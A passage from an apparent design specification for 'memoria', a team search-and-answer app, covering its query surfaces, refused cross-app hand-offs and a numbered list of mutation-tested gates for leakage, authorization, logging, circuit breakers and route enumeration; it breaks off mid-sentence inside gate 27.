3966Two of those need saying out loud. **`GET /query?q=` above is not served
3967and never has been** — the search page is `GET /?q=`, and the paragraph
3968above has specified a path the app does not have since draft 1.
3969**`GET /search` is new on 2026-09-05**: it renders the results region
3970alone, from the same template `GET /?q=` renders it inside a page, so
3971that live search can replace that region on a keystroke. It is a
3972narrower surface than the page, under the same session gate, and it adds
3973no passage the page did not already speak. It is not a second query
3974surface and not a step toward one; delete the script and nothing calls
3975it.
3976
3977**A hand-off whose sources include memoria-owned material is refused, and
3978that is a real product cost.** Suite §7 lets a person hand an artefact to
3979another app through their own session — "save this answer as a Doc" — but
3980it requires the *receiver* to check every source with its app of record.
3981For a passage from Docs or Sheets that works. For memoria's own uploads,
3982Notion pages and forwarded mail (§4.2), **memoria is the app of record and
3983serves nobody to ask**, because decision 7 gives it no sibling-facing
3984surface. So the receiver cannot check, and the hand-off cannot complete.
3985
3986**Refused until a decision opens that surface**, rather than opened here by
3987implication. Opening it means a new decision with its own §3.2 leak entry
3988and its own gate, exactly as §12 requires of any consumer of memoria — and
3989decision 7 is settled, so widening it is Paul's and not a corollary. The
3990cost is concrete and belongs in front of him: **an answer built on the
3991team's own uploads cannot be saved into Docs**, while one built purely on
3992sibling passages can. That asymmetry will look like a bug to a reader long
3993before it looks like a ruling. *(Raised by GPT-6's review of the doctrine,
3994finding 3, via A.4.)*
3995
3996**No feed. Nothing consumes memoria.** If something ever does, that is a
3997new decision with its own leak-list entry, not an endpoint left lying
3998around for it.
3999
4000**MCP is deferred** as a thin adapter over the query surface. Trigger:
4001the first consumer that speaks it.
4002
4003### 9.2 The home links; it never renders
4004
4005Home §2.2 forbids the home rendering content from an instance, and a
4006generated answer is content; it also forbids it holding an authorization
4007model, which choosing whose answer to show would be. memoria is per-team,
4008so "the home knows everything about all the apps" across teams is
4009federation.
4010
4011**The home gets one directory row (`app = memoria`) and a search box that
4012is a GET form redirecting to the team's memoria**, call-6 style. memoria
4013renders on its own origin. The home never sees `q`.
4014
4015---
4016
4017## 10. Testing gates
4018
4019**Two rules govern this list, and §1.4 is why.** Three of the first five
4020gates built could not fail for the thing they named.
4021
4022- **After writing a gate, break the thing it guards, watch it go red,
4023 revert** — per path, not per file, and the test comment records what
4024 was mutated and when. Every gate below states its mutation.
4025- **A gate asserting an absence must first assert the presence of the
4026 thing whose absence it checks.** Gate 4 is the worked example: "no
4027 sign-in link in the logs" was true because the test app never sent one.
4028 An assertion that could not have been produced is not an assertion that
4029 passed, exactly as a count that fails is not a count of zero.
4030
4031The gates:
4032
40331. **Plaintext grep** over raw SQLite bytes and bucket objects, from the
4034 first commit. `plaintextExempt` starts empty.
40352. **Inversion probe** — the gate the byte grep cannot see, with the
4036 threshold draft 3 promised and never gave.
4037
4038 **First, the presence assertion, which draft 4 omitted and without
4039 which this gate is green on slice 0 for exactly the reason gate 4 was
4040 green.** Slice 0 has no embeddings (§11), so an absence-only version
4041 of this gate passes against a store containing no vectors at all, and
4042 would keep passing on the day vectors arrive unsealed if the seeding
4043 silently failed. So: seed a 200-chunk corpus of known text, then
4044 **read the sealed vector blob back through `seal.Open` and assert it
4045 decrypts to 200 vectors of the configured dimension**, with the
4046 sentinel chunk's vector matching the one the stub embedder returned.
4047 Only then is the absence check below an assertion rather than a
4048 description of an empty world.
4049
4050 **Then the absence check, in two forms.** Take the bytes at rest —
4051 the SQLite file, its WAL, and every bucket object — and:
4052
4053 - **parse them as contiguous matrices** at each plausible dimension
4054 (256/512/768/1024/1536) under each plausible dtype (int8, f32, f64,
4055 both endiannesses). For every parse yielding a well-formed matrix,
4056 compute its pairwise cosine matrix and correlate that against the
4057 true corpus's. **Fail if any parse correlates above r = 0.20** —
4058 far below what a real embedding scores against itself, far above
4059 what noise reaches over 200 chunks;
4060 - **grep for the sentinel vector**, the way
4061 `TestPlaintextNeverReachesTheDatabase` greps for a canary string.
4062 One seeded chunk gets a fixed, distinctive vector from the stub
4063 embedder; the gate searches the at-rest bytes for its leading
4064 components in each dtype and endianness **and** for their decimal
4065 text renderings. This is what catches the encodings the matrix
4066 parse cannot see — a JSON array, a length-prefixed or row-framed
4067 layout, one vector per row with a header between them — because
4068 none of those presents as a contiguous matrix, and all of them are
4069 shapes a store might plausibly grow.
4070
4071 Mutation: write the vectors unsealed and both halves go red — the
4072 correlation at r ≈ 1.0, the grep on the sentinel. Break the seeding
4073 and the gate fails on the presence assertion rather than passing.
4074
4075 **What it still does not guard, stated rather than implied:** an
4076 encoding that stores neither a contiguous matrix nor any sentinel
4077 component recognisably — a quantisation or transform applied before
4078 writing, say — passes both halves. The claim is therefore *"nothing
4079 at rest is a vector in a form anyone would write one in"*, not
4080 *"nothing at rest is derivable from a vector"*. The stronger probe,
4081 running an actual inversion model against the at-rest bytes, needs
4082 weights this binary cannot carry and is deferred with that reason in
4083 §13.
40843. **Feed rows carry no content and no visibility flag** — grep extended
4085 over S1 rows, asserting the absence of the field draft 1 had.
40864. **No content in logs**, covering query text, answer text, cited
4087 snippets and any model-call ledger — **and its credential half must
4088 first prove a credential was sent.** `TestNoContentInLogs` asserts
4089 that no sign-in link reaches the logs while the test app wires no auth
4090 and therefore never sends one, so that half passes on an empty world.
4091 It must instead build the app with a mail sink, drive the begin route
4092 with a real address, assert **(a)** the sink captured a link, and only
4093 then assert **(b)** that link's token appears in no log line. (a) is
4094 what gives (b) the ability to fail. Mutation: log the link and (b)
4095 goes red; disable the mailer and the gate fails on (a) rather than
4096 passing.
4097
4098 **The routes, read out of the code rather than remembered**, because a
4099 gate naming a route the app does not serve is the renamed-test failure
4100 §10 opens with. `internal/memoria/app.go` registers `GET /signin` (the
4101 form), `POST /auth/begin` (the submit, `a.auth.Begin`) and
4102 `GET /auth/verify` (the landing, `a.auth.Verify`);
4103 `internal/memoria/auth.go` sets `SigninPath: "/signin"`. So the gate
4104 posts to `/auth/begin`, and the token it then hunts for is the one in
4105 the `/auth/verify?…` link the sink captured. The existing
4106 `TestNoContentInLogs` greps for the literals `"sign-in link"` and
4107 `"auth/verify?"`, which is the right target and the wrong method: it
4108 asserts nothing was logged without ever proving one was sent, and
4109 greps for a route spelling rather than for the captured token, so a
4110 mailer that logged the token alone would slip through. Both halves
4111 move to the captured link.
41125. **Two people get different answers.** End-to-end, two assertions, one
4113 sibling holding a document granted to one of them: the passage renders
4114 for one person and not the other, and the sibling's own grants join is
4115 what decides. Draft 2's version asserted only that an authorization
4116 call happened, which the draft-2 review correctly called weaker than
4117 the claim — it stays green with a constant `VISIBLE`, with the wrong
4118 person ref, or with authorization performed *after* disclosure.
41196. **Every S2 result is handled, and the decoder is total.** All five
4120 values get their specified behaviour, `AHEAD` included and named
4121 because draft 4 added the value and left it out of the gate that
4122 proves the decoder covers everything: `VISIBLE` renders, `NOT_VISIBLE`
4123 omits silently, `STALE` withholds loudly and refetches, **`AHEAD`
4124 withholds loudly, marks the source for re-announce and deletes
4125 nothing**, `UNKNOWN` withholds loudly. And the total-decoder half: a
4126 timeout, non-2xx, malformed body, missing item, duplicate item, short
4127 response, **or any result value the client does not recognise** maps
4128 to `UNKNOWN` rather than falling through to omission. Mutation: add a
4129 sixth value `PERHAPS` to the fixture's responses and the gate must go
4130 red on the unrecognised-value case, not green by ignoring it; drop
4131 `AHEAD`'s arm and the `AHEAD` case falls to the default, which must
4132 also be red.
41337. **An enumeration diff distinguishes empty from failed**, and deletes
4134 nothing on a timeout, credential error or partial page.
41358. **Circuit breaker, at §8.1's predicate** — five named cases, and
4136 three of them are cases where it must stay silent.
4137
4138 - **Fires.** Three people each had `VISIBLE` from Sheets in the
4139 baseline week; in the window each queries Sheets and receives only
4140 `NOT_VISIBLE`. It fires, states the anomaly, appears on the owner's
4141 sources page and **not** on any reader's results page, and purges
4142 nothing.
4143 - **Silent: three Docs-only members.** A team where one person uses
4144 Sheets and three do not. The three query 50 times each — four pages,
4145 200 pairs, comfortably over every threshold draft 4 had — Sheets
4146 answers wholesale `NOT_VISIBLE`, and the Sheets user does not query
4147 that day. **The breaker stays silent**, because none of the three is
4148 in the baseline set. This is the case draft 4's predicate got
4149 wrong, and it is the mutation target below.
4150 - **Silent: a 24-hour outage.** Sheets answers `UNKNOWN` to
4151 everything for a full window, including to baseline askers. Zero
4152 `VISIBLE`, no `NOT_VISIBLE`. **The refusal breaker does not fire**;
4153 §6.5's partial-page notice reports the outage instead.
4154 - **Silent: below the asker floor.** Two baseline askers, refused all
4155 window. Nothing fires.
4156 - **Cannot determine.** Delete the durable counters, or start the app
4157 with fewer than 7 days of history, and the sources page must say it
4158 cannot determine the breaker's state for that sibling, **naming
4159 which of window and baseline it lacks**. Assert the string. It must
4160 not say "no anomaly", and it must not say nothing.
4161
4162 Survives a restart: write counters, stop the app, start it, and the
4163 breaker still sees the baseline — which is the assertion that they
4164 are durable rather than in-memory, and memoria hibernates.
4165
4166 The S3 breaker gets the same five-case treatment at its own numbers
4167 (20 fetches, all 404, one prior success), and the `AHEAD` breaker
4168 is covered by gate 27.
4169
4170 **Mutations, and each is per path.** (i) Replace the per-asker
4171 transition with draft 4's "zero `VISIBLE` in the window" and both the
4172 Docs-only case and the outage case go red. (ii) Count `VISIBLE`
4173 absence instead of `NOT_VISIBLE` presence and the outage case goes
4174 red alone. (iii) Let the baseline overlap the window and the
4175 fires-case goes red, because every firing asker is then their own
4176 baseline. (iv) Return "no anomaly" when the counters are missing and
4177 the cannot-determine case goes red.
41789. **Derived artefacts expand to full provenance**, and one
4179 `NOT_VISIBLE` source withholds the artefact — **including at two
4180 hops.** An artefact built from an artefact built from a sibling
4181 document must send that document's `(id, revision)` to S2, and must be
4182 withheld when the sibling refuses it. Assert also that no `roots`
4183 entry is an artefact id. Mutation: stop flattening at generation time
4184 and the two-hop case renders, which is the laundering §5.2 forbids.
4185
4186 **And the memoria-owned revision case** (§5.2 steps 1 and 3), which
4187 is where draft 4's id-only roots failed: generate an artefact from
4188 revision 1 of an uploaded document, re-upload the document as
4189 revision 2, and assert the artefact is **not served** — it is
4190 regenerated, and until it is, the reader gets the slot table rather
4191 than a stale summary. Assert too that its `roots` entry recorded a
4192 revision at all. Mutation: record memoria-owned roots as bare ids and
4193 this case goes red while every sibling case stays green, which is
4194 exactly how it survived draft 4.
419510. **Deletion survives a restore** — a tombstone applied, a snapshot
4196 superseded and retired, then a restore from the prior generation must
4197 not serve the deleted passage. This is *memoria's* restore; the
4198 mirror case, a **sibling** restored behind memoria, is gate 27.
419911. **Cross-team dial refusal**, including redirects.
420012. **Token rotation** — all three phases, each interrupted and resumed,
4201 across a partial multi-sibling delivery.
420213. **Two-consumer isolation** on the sibling endpoints.
420314. **Answer sentences cite listed passages**; an all-dropped answer says
4204 so rather than rendering empty.
420515. **AI-off floor** — every affordance in §8.1 works scriptless with the
4206 provider unreachable, **and no egress occurs**, asserted by a network
4207 guard rather than by inspection.
420816. **A sibling credential is refused at the connector routes**, and a
4209 connector credential at nothing else. §9.1 asserts the two sets are
4210 disjoint; nothing tested it.
421117. **No sibling-facing endpoint exists.** Enumerate memoria's routes and
4212 fail any inbound route not on the person-facing or connector list —
4213 the regression gate for the push surface draft 1 shipped by accident.
4214 **The list is literal, not descriptive:** `GET /`, `GET /documents/{id}`,
4215 `POST /documents`, `GET` and `POST /documents/{id}/delete`, public
4216 `GET /help/open-source`, `POST /appearance`, public static
4217 `GET /static/credits.css`, plus the auth routes.
4218 Written that way so that adding a thread or chat route goes red on the
4219 way in (decision 14) rather than being argued about afterwards.
4220 **Built 2026-09-04** as `TestNoUndeclaredRoutes`; **rewritten
4221 2026-09-05 after a review mutation-tested it and found the first
4222 version blessing five idioms.** It keyed on path alone, so
4223 `r.Route("/chat", …)` passed on the declared `"/"` inside it,
4224 `r.With(mw).Post` was invisible because the receiver is a call rather
4225 than an identifier, `r.Delete` passed on a path declared only for GET,
4226 `r.Handle("/")` bound every method at once, and — worst —
4227 `mux.HandleFunc("/documents", …)` served a **declared** path while
4228 bypassing `requireSession`. It now keys on **method and path together,
4229 which is what this list already declared**, and keeps the chi and
4230 `ServeMux` namespaces apart. Eight mutations, each verified red and
4231 reverted, are named in the test's own comment. It reads the AST, not a
4232 grep. What it still does not catch: a route registered through a helper
4233 outside `internal/memoria` and `cmd`, or on a receiver renamed away
4234 from `r`/`mux`.
4235 **A note on how the rewrite nearly went wrong.** Following an arbitrary
4236 selector chain to find the receiver made `r.URL.Query().Get("err")`
4237 resolve to `r`, and the gate reported two query parameters as
4238 undeclared GET routes. `r` is the conventional name for a request as
4239 well as a router. The chain now follows only chi's own chaining
4240 constructors — caught by running it, not by reading it.
4241 The declared list gained the five connector routes on 2026-09-06,
4242 when this gate caught them arriving from main — which is the gate
4243 working: five routes shipped and none could reach the app until
4244 somebody wrote them down.
424518. **External-source authorization and disclosure, against §4.2's two
4246 facts.** Draft 4 said "governed by memoria's grants", which named a
4247 table §4.2 says does not exist; a gate written from that sentence
4248 would go looking for grant rows and find none. The two facts are the
4249 whole test, so the gate asserts both, each able to fail on its own:
4250
4251 - **admission is the only door.** Two admitted people both see a
4252 memoria-owned document — there is no per-person filter to
4253 distinguish them, and asserting that is asserting §4.2's
4254 team-wide-by-construction claim rather than trusting it. Then flip
4255 one person's only vouching sibling to `NOT_MEMBER` and, past the
4256 cache, they see nothing memoria-owned at all.
4257 - **presence is the other.** Delete the document *in memoria* and it
4258 is gone for everyone; revoke it upstream instead — disconnect the
4259 Notion integration, remove memoria's Drive access — and it is
4260 **still served**, which is the §3.6 README's promise stated as a
4261 test rather than as copy.
4262
4263 Mutation: add any per-person condition to the memoria-owned path and
4264 the first case goes red; make an upstream revocation remove the
4265 document and the second goes red *and* §3.6 becomes false, which is
4266 the pairing worth having.
426719. **Mixed-provenance authorization** — a derived artefact with one
4268 sibling source and one memoria-owned source requires both, spans
4269 multiple S2 batches, and withholds when either fails.
427020. **The wake budget and the corpus ceiling**, run against a real corpus
4271 rather than asserted, failing when the measured footprint at the
4272 stated chunk count exceeds the budget. §7's numbers were wrong twice
4273 with no gate to notice.
427421. **Admission is read, not held.** A person absent from the roster is
4275 refused, and an unreadable roster refuses rather than admits.
4276 **Lone half built 2026-09-05** as `TestAdmissionRefusesANonOwnerAtVerification`;
4277 **suite half owed** at slice 1, when admission becomes the home's
4278 roster (suite call 8) rather than the owners list.
4279 The built half asserts at the moment that decides, which is
4280 **verification, not submission**: `rastrillo/auth`'s `admit` runs
4281 `Config.Authorize` against the address it has just verified, after the
4282 magic link is followed. So the gate sends a link while the address is
4283 an owner and follows it through an app built with a different owners
4284 list — an owner removed between asking for a link and clicking it — and
4285 requires a 403 *and* no session cookie. Two-sided: the admitted case
4286 must reach a session, or "no session" is satisfied by a broken link, a
4287 mailer that never fired, or pending state that did not survive.
4288 *This entry claimed until 2026-09-05 that "the fixtures change with the
4289 prose". There were no fixtures. Nothing in `internal/memoriatest` had
4290 ever asserted admission, so retiring S7 replaced nothing and the claim
4291 described work that had not happened.*
4292 **Falsified once, by the author, to prove it is not vacuous** — making
4293 `Admits` return true for everyone turns it red on the session-cookie
4294 assertion. **No author-chosen mutation set is recorded**, per §1.9: the
4295 adversarial pass belongs to someone who did not write it, and is owed.
429622. **Unit certification, and memoria is what certifies** (§8.7). Five
4297 cases, and the first assertion in each is **that S6 was or was not
4298 called**, because §8.7's ruling is that the refusals happen *before*
4299 the call:
4300
4301 - three cells formatted `€#,##0` → S6 called once, a number shown,
4302 and the number is S6's `display` string byte for byte;
4303 - `€#,##0` against `k€#,##0` → **S6 is never called**, `MIXED_UNITS`,
4304 no number, and the notice names both format codes;
4305 - three cells formatted `General` under a header carrying no unit
4306 word → **S6 is never called**, `UNIT_UNKNOWN`, no number, and the
4307 notice names the cells — the case draft 3 would have averaged;
4308 - a `General` cell under a header reading `€k`, with its co-operands
4309 certifying to `€k` too → S6 called, a number shown, **the unit
4310 named beside it and attributed to the header** rather than folded
4311 into the figure;
4312 - the re-certification arm: certify from the indexed format code,
4313 then have the S6 fixture return a *different* `format_code` for the
4314 same cell → no number, and the source marked for re-ingest.
4315
4316 Mutations: treat `General` as a unit and case 3 goes red; rescale
4317 `k€` to `€` and case 2 goes red, which is the assertion that memoria
4318 does no unit algebra; re-format S6's value instead of passing its
4319 `display` through and cases 1 and 4 go red; move certification after
4320 the S6 call and every "S6 is never called" assertion goes red.
432123. **The deadline and the concurrency** (§6.5), **on two fixtures,
4322 because one cannot hold both.** Draft 4 asserted the overlap against
4323 the deadline fixture — one sibling at 5 s, two at 10 ms, an 800 ms
4324 deadline — and that assertion is unwritable. If the recorded latency
4325 is the client's, the slow sibling is cut off at 800 ms and 90% of the
4326 sum is 738 ms, which a concurrent client (≈800 ms) exceeds: always
4327 red. If it is the fixture's, the sum is 5.02 s, 90% of it is 4.5 s,
4328 and a strictly sequential client still finishes in ≈820 ms because it
4329 abandons the slow one at the deadline: never red. Same test, opposite
4330 vacuity, depending on which clock — which is why it needs its own
4331 fixture of comparable sub-deadline latencies.
4332
4333 - **The deadline half**, unchanged: three fixtures, one sleeping 5 s
4334 and two answering in 10 ms. The page renders in under 1.2 s, names
4335 the slow sibling, and shows the other two's passages.
4336 - **The concurrency half**, its own fixture: **three siblings each
4337 answering in 300 ms**, all comfortably inside the 800 ms deadline
4338 so none is cut off. Concurrent is ≈300 ms, sequential ≈900 ms, the
4339 sum is 900 ms and 90% of it is **810 ms**. Fail if total wall time
4340 exceeds 810 ms. That bound is 2.7× the concurrent time and 0.9× the
4341 sequential one, so it separates the two by a wide margin at both
4342 ends rather than sitting on top of either.
4343
4344 Mutation: make the client sequential and the concurrency half goes
4345 red at ≈900 ms; remove the deadline and the deadline half goes red at
4346 ≈5 s. Each mutation must be checked against **both** fixtures, since
4347 the point of the split is that neither fixture can see both faults.
434824. **The wake warm-up** (§6.5). Bring the app up against three sibling
4349 fixtures, **issue no query at all**, and assert each fixture received
4350 an S1 poll within **N ms** of the app coming up — N a stated constant
4351 in the low seconds, not a race against anything.
4352
4353 **Draft 4 ordered the poll against the first query, and that cannot
4354 be written either way.** If the warm-up is asynchronous, "before the
4355 handler served a request" is a race between two goroutines and the
4356 gate is flaky. If it is synchronous, satisfying the assertion means
4357 the first query *waits* for three sibling wakes — which puts the
4358 latency back on the reader, and §6.5's entire reason for the warm-up
4359 is to spend it where nobody is waiting. Asserting **unprompted
4360 presence** avoids both: the claim is that the poll happens on its
4361 own, not that it wins a race.
4362
4363 Mutation: delete the warm-up and every fixture goes unpolled, red.
4364 Make the warm-up fire lazily on the first query and the gate goes red
4365 too, because no query is ever issued — which is the assertion draft
4366 4's ordering could not make. This gate is also why the warm-up is S1
4367 rather than draft 3's S7: an S7 warm-up carries a person ref that
4368 does not exist on a wake, so no fixture could ever have received it
4369 and no gate could have caught its absence.
437025. **S3 carries no person**, asserted end to end rather than by
4371 spelling. A fixture sibling holds an item granted individually to the
4372 asker and **not** team-visible. It must 404, that item must never
4373 appear in memoria's store, and the fixture must record that **no S3
4374 request it received carried any field it did not expect** — the
4375 fixture decodes S3 into its own struct with unknown fields rejected,
4376 which is a total check where a name list is not.
4377
4378 **The meaningful mutation, and it takes two edits:** add a person ref
4379 to memoria's S3 call **and** make the fixture honour it by serving
4380 the individually-granted item. Then the 404 assertion and the
4381 store assertion both go red. Either edit alone proves nothing — a
4382 person ref the fixture ignores changes no behaviour, which is why a
4383 field-name check on its own is not a guard.
4384
4385 **Draft 4's field-name regex** — `person|user|asker|actor|sub` — is
4386 **demoted to a lint, not a gate.** It is the shape §10 opens with:
4387 `principal`, `who`, `ref`, `identity`, `on_behalf_of` and `viewer`
4388 all sail straight through it, and `sub` false-positives on `subject`
4389 and `submitted_at`. It stays as a cheap advisory because a matching
4390 field name is worth a second look; nothing rests on it.
439126. **`external_id` is keyed, and reverting it is caught.** The same body
4392 ingested twice yields the same id; the same body **under a second
4393 DEK** yields a **different** id; and `sha256(body)`, in hex and in
4394 base64, appears nowhere in the row or the bucket object. Mutation:
4395 revert to a bare SHA-256 and the second and third assertions go red.
4396 Draft 3's fix shipped with no gate at all, so reverting it left every
4397 test green.
4398
4399 **The key is the DEK, and draft 4 said "instance key".** Checked
4400 against the code: `internal/memoria/store.go` fingerprints via
4401 `s.sealer.Fingerprint(seal.PurposeExternal, …)`, and the `Sealer`
4402 holds the DEK — `seal.New(dek)`, HKDF over `s.dek` per purpose. The
4403 instance key is a different value with a different job:
4404 `internal/memoria/auth.go` uses `InstanceKey` to seal auth's pending
4405 blob, and it never reaches `seal`. So a gate written from draft 4's
4406 wording would rotate `MEMORIA_INSTANCE_KEY`, see the id unchanged —
4407 because it correctly is — and go red on correct code, which is worse
4408 than the missing gate it replaced. Rotate `MEMORIA_DEK`.
440927. **A sibling's restore reconciles, and the page does not go quietly
4410 short** (§4.1). Gate 10 covers memoria's own restore; this is the
4411 mirror case, and draft 4 shipped `AHEAD` with nothing holding what
4412 happens after it.
4413
4414 Fixture: memoria holds 60 chunks from Sheets and 40 from Docs. Sheets
4415 is restored behind memoria and now (a) holds revision 5 of an item
4416 memoria holds at 7, (b) holds no row at all for a second item, (c)
4417 answers normally for the rest.
4418
4419 - **`AHEAD` for (a); `NOT_VISIBLE` for (b).** The no-row case is
4420 `NOT_VISIBLE` and must be byte-identical to a private item's answer
4421 — suite gate 3 — or S2 becomes an id-existence oracle. Draft 4 had
4422 (b) as `AHEAD` and §4.1 records what overruling it costs. **Assert
4423 the indistinguishability, not just the value:** ask about (b) and
4424 about a known-private item in the same call and require the two
4425 results to be equal, because asserting `NOT_VISIBLE` alone passes on
4426 an implementation that answers it for different reasons.
4427 - **Nothing is deleted**, and the source is marked for re-announce.
4428 - **The empty-page assertion, which is the point of the gate.** Run a
4429 query matching all 100 chunks with a page size of 50. The page
4430 renders **50 results, all from Docs**, plus a line naming Sheets as
4431 reconciling. Assert the count, exactly. Draft 4's behaviour — rank
4432 the Sheets chunks, then withhold them one at a time — fills the
4433 page with `AHEAD` chunks and renders **fewer than 50** plus a pile
4434 of notices; run the same case with the Docs fixture removed and it
4435